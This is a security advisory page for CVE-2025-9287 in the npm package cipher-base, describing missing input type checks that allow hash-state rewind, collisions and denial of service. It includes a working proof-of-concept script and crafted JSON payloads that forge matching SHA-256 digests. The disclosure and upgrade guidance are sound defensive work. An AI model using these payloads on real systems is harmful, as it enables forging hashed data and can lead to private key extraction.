---
title: "GHSA-cpq7-6gpm-g9rc: cipher-base is missing type checks, leading to hash rewind and passing on crafted data"
description: "Critical severity. cipher-base is missing type checks, leading to hash rewind and passing on crafted data. Affects cipher-base; fixed in 1.0.5."
url: https://inlinr.com/advisories/GHSA-cpq7-6gpm-g9rc
lang: en
---

[Packages](https://inlinr.com/packages) / [cipher-base](https://inlinr.com/packages/cipher-base) / [Security](https://inlinr.com/packages/cipher-base/security)

Critical Vulnerability GHSA-cpq7-6gpm-g9rc CVE-2025-9287 Published 21 Aug 2025

# cipher-base is missing type checks, leading to hash rewind and passing on crafted data

Your version 

Affected releases · [cipher-base](https://inlinr.com/packages/cipher-base)

- 1.x 1.0.0 – 1.0.4 Fixed in 1.0.5

On 1.x, the newest line:

```
npm install cipher-base@1.0.5
```

Every release on a timeline

1. Affected

1.0.0 – 1.0.4  
5 releases
2. Fixed

1.0.5 – 1.0.7  
3 releases, latest

8 stable releases of cipher-base, oldest to newest.

## What happens

Summary

This affects e.g. `create-hash` (and `crypto-browserify`), so I'll describe the issue against that package Also affects `create-hmac` and other packages

Node.js `createHash` works only on strings or instances of Buffer, TypedArray, or DataView.

Missing input type checks (in npm `create-hash` polyfill of Node.js `createHash`) can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.

Details

See PoC

PoC

```
const createHash = require('create-hash/browser.js')
const { randomBytes } = require('crypto')

const sha256 = (...messages) => {
  const hash = createHash('sha256')
  messages.forEach((m) => hash.update(m))
  return hash.digest('hex')
}

const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever

const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever

console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])
```

Output:

```
9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9
9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9
Hashed input means safe
```

This works with:

```
const forgeHash = (valid, wanted) => JSON.stringify([wanted, { length: -wanted.length }, { ...valid, length: valid.length }])
```

But there are other types of input which lead to unchecked results

Impact

1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.
2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }`This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js)
3. DoS on `{length:'1e99'}`
4. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration, like [GHSA-vjh7-7g9h-fjfh](https://github.com/indutny/elliptic/security/advisories/GHSA-vjh7-7g9h-fjfh "https://github.com/indutny/elliptic/security/advisories/GHSA-vjh7-7g9h-fjfh"))
5. Also, other typed arrays results are invalid, e.g. returned hash of `new Uint16Array(5)` is the same as `new Uint8Array(5)`, not `new Uint16Array(10)` as it should have been (and is in Node.js `crypto`) -- same for arrays with values non-zero, their hashes are just truncated to `%256` instead of converted to correct bytelength

## How it is exploited

Exploitable over the network, with no account and no action from a user.

- **Confidentiality**: none
- **Integrity**: high
- **Availability**: high

CVSS:3.1/​AV:N/​AC:L/​PR:N/​UI:N/​S:U/​C:N/​I:H/​A:H

## References

- [Reference](https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc "https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc")  
github.com/browserify/cipher-base/security/advi…
- [NVD](https://nvd.nist.gov/vuln/detail/CVE-2025-9287 "https://nvd.nist.gov/vuln/detail/CVE-2025-9287")  
nvd.nist.gov/vuln/detail/CVE-2025-9287
- [Pull request](https://github.com/browserify/cipher-base/pull/23 "https://github.com/browserify/cipher-base/pull/23")  
#23
- [Fix commit](https://github.com/browserify/cipher-base/commit/8fd136432ca298a664f5637629cf2b42a6c7f294 "https://github.com/browserify/cipher-base/commit/8fd136432ca298a664f5637629cf2b42a6c7f294")  
8fd1364
- [Package](https://github.com/browserify/cipher-base "https://github.com/browserify/cipher-base")  
github.com/browserify/cipher-base
- [Reference](https://lists.debian.org/debian-lts-announce/2025/09/msg00005.html "https://lists.debian.org/debian-lts-announce/2025/09/msg00005.html")  
lists.debian.org/debian-lts-announce/2025/09/ms…

A whole project to check? Paste its package.json in the [dependency check](https://inlinr.com/tools/dependency-check): every deprecated, outdated or vulnerable dependency, with what to upgrade to. Free, no account.
